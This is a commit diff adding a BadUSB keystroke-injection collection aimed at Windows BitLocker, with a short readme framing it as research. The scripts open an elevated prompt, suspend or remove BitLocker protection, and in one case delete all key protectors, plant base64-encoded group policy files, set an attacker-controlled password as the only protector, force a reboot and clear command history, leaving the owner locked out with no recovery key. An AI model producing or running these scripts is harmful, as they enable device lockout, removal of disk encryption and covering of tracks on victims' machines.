Added emptythevoid's BadUSB collection

BadUSB/emptythevoid-BadUSB/bitlocker/bitlocker_disable.txt

@@ -0,0 +1,13 @@
+REM launch command prompt as admin as fast as possible
+GUI r
+DELAY 500
+STRING powershell Start-Process cmd -Verb runAs
+ENTER
+DELAY 3000
+ALT y
+DELAY 500
+
+STRING manage-bde -protectors -Disable C: -RebootCount 0
+ENTER
+DELAY 500
+ALT F4

BadUSB/emptythevoid-BadUSB/bitlocker/bitlocker_encrypt_password.txt

@@ -0,0 +1,161 @@
+REM Enable Bitlocker encryption with a user-supplied password
+REM and optionally reboot the computer immediately
+
+REM Author: emptythevoid
+
+REM Target: Windows 10, 11
+
+REM MORE RESEARCH REQUIRED
+
+REM ==INFO========================================================================================
+REM If the drive is already encrypted with a protector (lke TPM)
+REM it will delete all protectors and substitute our own new password
+REM without needing to re-encrypt.
+REM If the drive doesn't have bitlocker enabled, it will do so with the new password
+REM and take effect on next reboot (which you can optionally enable at the end)
+
+REM Note #1: This will likely fail if the drive is currently in the process of encryption.
+
+REM Note #2 If the target computer is a tablet (aka "slab"), Windows will disallow
+REM preboot authentication options that might require a keyboard. To override this,
+REM you have to set a local group policy.  This might be possible to do by editing the
+REM registry directly, but since Windows specifically complains about Group Policy,
+REM I've encoded a Registry.pol below that you can optionally deploy.
+REM It will create a file in C:\Windows\System32\GroupPolicy\Machine
+REM which should take effect immediately.
+REM This Registry.pol enables these two policy values:
+REM Computer Configuration\Administrative Templates\Windows Components\Bitlocker Drive Encryption\Operating System Drives\ Enable use of Bitlocker authentication requiring preboot keyboard input on slates
+REM Computer Configuration > Administrative Templates > Windows Components > Bitlocker Drive Encryption > Operating System Drives > Open the key Require additional authentication at startup
+REM ==Launch command prompt as Admin using GUI + X ===============================================
+REM ==NOTE that this brings up a Powershell window, not cmd.exe===================================
+REM ==This method may be more reliable since GUI r can sometimes lose focus on open===============
+GUI x
+DELAY 200
+STRING A
+DELAY 1000
+ALT y
+DELAY 3000
+
+
+REM ==Optional - local group policy to allow password protection on tablets========================
+REM ==Simply copying the registry.pol file is not sufficient.
+
+
+REM STRING $folderpath = [Environment]::GetFolderPath("C:\Windows\System32\GroupPolicy\Machine");
+REM STRING $filename = $folderpath+"\Registry.pol";
+
+STRING mkdir C:\windows\system32\grouppolicy\machine
+DELAY 100
+ENTER
+DELAY 100
+
+STRING $filename = "C:\Windows\System32\GroupPolicy\Machine\Registry.pol";
+
+STRING $b64="UFJlZwEAAABbAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwA
+STRING RgBWAEUAAAA7AE8AUwBFAG4AYQBiAGwAZQBQAHIAZQBiAG8AbwB0AEkAbgBwAHUAdABQAHIAbwB0AGUAYwB0AG8AcgBzAE8AbgB
+STRING TAGwAYQB0AGUAcwAAADsABAAAADsABAAAADsAAQAAAF0AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAY
+STRING wByAG8AcwBvAGYAdABcAEYAVgBFAAAAOwBVAHMAZQBBAGQAdgBhAG4AYwBlAGQAUwB0AGEAcgB0AHUAcAAAADsABAAAADsABAAAADsAAQAAA
+STRING F0AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEYAVgBFAAAAOwBFAG4AYQBiAGwAZQ
+STRING BCAEQARQBXAGkAdABoAE4AbwBUAFAATQAAADsABAAAADsABAAAADsAAQAAAF0AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAG
+STRING kAYwByAG8AcwBvAGYAdABcAEYAVgBFAAAAOwBVAHMAZQBUAFAATQAAADsABAAAADsABAAAADsAAgAAAF0AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8
+STRING AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEYAVgBFAAAAOwBVAHMAZQBUAFAATQBQAEkATgAAADsABAAAADsABAAAADsAAgAAAF0
+STRING AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEYAVgBFAAAAOwBVAHMAZQBUAFAATQBLAGU
+STRING AeQAAADsABAAAADsABAAAADsAAgAAAF0AWwBTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAEY
+STRING AVgBFAAAAOwBVAHMAZQBUAFAATQBLAGUAeQBQAEkATgAAADsABAAAADsABAAAADsAAgAAAF0A";
+
+STRING $bytes = [Convert]::FromBase64String($b64);
+STRING [IO.File]::WriteAllBytes($filename, $bytes);
+
+DELAY 300
+
+REM Create the GPT file. This is definitely required, but I don't know if it changes per machine
+STRING $filename = "C:\Windows\System32\GroupPolicy\gpt.ini";
+
+STRING $b64="W0dlbmVyYWxdDQpnUENNYWNoaW5lRXh0ZW5zaW9uTmFtZXM9W3szNTM3OEVBQy02ODNGLTExRDItQTg5
+STRING QS0wMEMwNEZCQkNGQTJ9e0QwMkIxRjcyLTM0MDctNDhBRS1CQTg4LUU4MjEzQzY3NjFGMX1dIA0KVmVyc2lvbj01DQo=";
+
+STRING $bytes = [Convert]::FromBase64String($b64);
+STRING [IO.File]::WriteAllBytes($filename, $bytes);
+
+DELAY 300
+
+REM have to gpupdate. This will take an undetermined amount of time
+REM you may need to set this to trigger on a button press rather than a delay
+STRING gpupdate /force
+ENTER
+
+
+DELAY 10000
+
+REM ==Remove existing keys, in case bitlocker is already enabled==================================
+STRING manage-bde -protectors -delete C:
+ENTER
+DELAY 1000
+
+REM ==Clear out from messages, in case no protectors, just in case================================
+ENTER
+
+DELAY 2000
+
+REM ==Enable bitlocker on C: with password and skip hardware test=================================
+STRING manage-bde -on C: -skiphardwaretest
+ENTER
+DELAY 500
+
+REM ==remove default TPM. We don't want this enabled.=============================================
+STRING manage-bde -protectors -delete C:
+ENTER
+DELAY 1000
+
+REM ==Manually add password as a protector. SET YOUR PASSWORD HERE!!==============================
+REM ==MUST BE AT LEAST 8 CHARACTERS LONG OR ELSE IT WILL FAIL=====================================
+
+DELAY 1000
+STRING manage-bde -protectors -add C: -password
+ENTER
+DELAY 1000
+STRING yourpasswordhere
+ENTER
+DELAY 1000
+STRING yourpasswordhere
+ENTER
+DELAY 3000
+
+REM ==Force the protection to be enabled so that it engages at next reboot========================
+STRING manage-bde -Protectors -Enable C:
+ENTER
+DELAY 2000
+
+REM ==Optional - Reboot after a delay. Give you time to escape====================================
+STRING shutdown /r /t 30
+ENTER
+DELAY 2000
+ENTER
+DELAY 500
+
+REM ==Clear history of Windows Terminal====================================
+ALT F7
+DELAY 200
+
+REM ==Enable this if you are doing a delayed reboot using traditional command prompt========================
+REM ALT F4
+
+REM ==Enable this if you are doing a delayed reboot using GUI x prompt======================================
+STRING exit
+ENTER
+
+REM ==Optional - Clear run history - not needed if using GUI +X ===================================
+REM GUI r 
+REM DELAY 500
+REM STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue"
+REM ENTER
+REM DELAY 300
+
+REM ==Optional - reboot immediately to lock the computer==========================================
+REM STRING shutdown /r /t 0
+REM ENTER
+
+
+
+
+

BadUSB/emptythevoid-BadUSB/bitlocker/bitlocker_turn_off.txt

@@ -0,0 +1,32 @@
+REM Turn off bitlocker on C:
+REM This will begin decrypting the drive. When drive is fully decrypted, the protectors will also be removed.
+
+REM Author: emptythevoid
+
+REM Launch command prompt using GUI x (Windows 11-only, but more reliable
+GUI x
+DELAY 200
+STRING A
+DELAY 1000
+ALT y
+DELAY 3000
+
+REM Launch command prompt using GUI r. More compatible, less reliable
+REM GUI r
+REM DELAY 500
+REM STRING powershell Start-Process cmd -Verb runAs
+REM ENTER
+REM DELAY 3000
+REM ALT y
+REM DELAY 500
+
+REM Turn off bitlocker on C:
+STRING manage-bde -off C:
+ENTER
+DELAY 500
+
+REM may need this if using traditional command prompt
+REM ALT F4
+
+STRING exit
+ENTER

BadUSB/emptythevoid-BadUSB/bitlocker/readme.md

@@ -0,0 +1,25 @@
+# Research into manipulating Bitlocker using BadUSB
+
+All scripts require the current user to have administrative permissions on Windows.
+
+bitlocker_disable.txt -- Immediately suspends Bitlocker on C:. Does not remove it
+
+bitlocker_turn_off.txt -- Turns off Bitlocker and begins decryption of C:. When decryption is complete, all key protectors are removed.
+
+bitlocker_encrypt_password.txt:
+
+Uses base64 to dump a registry.pol into Windows to allow tablets (Surface Pro, etc) to have pre-boot authentication enabled. Then perform a gpupdate /force (without this, Bitlocker will fail to enable with just a password when it detects the computer is a tablet, aka "slate")
+
+If Bitlocker is already enabled, all key protectors are removed
+
+Enable Bitlocker on C: and skip hardware test. If Bitlocker wasn't previously enabled, it gets turned on and drive begins encrypting
+
+Remove the default TPM key protector that gets created on new Bitlocker enabled C:
+
+Manually set an attacker-controlled password as the only key protector.  Must be at least 8 characters
+
+Enable the new password protector immediately.
+
+Optional: Reboot after a pre-defined delay or immediately, clear history, close window.'
+
+On next boot, Windows will require the attacker-controlled password to boot, and no recovery key will exist.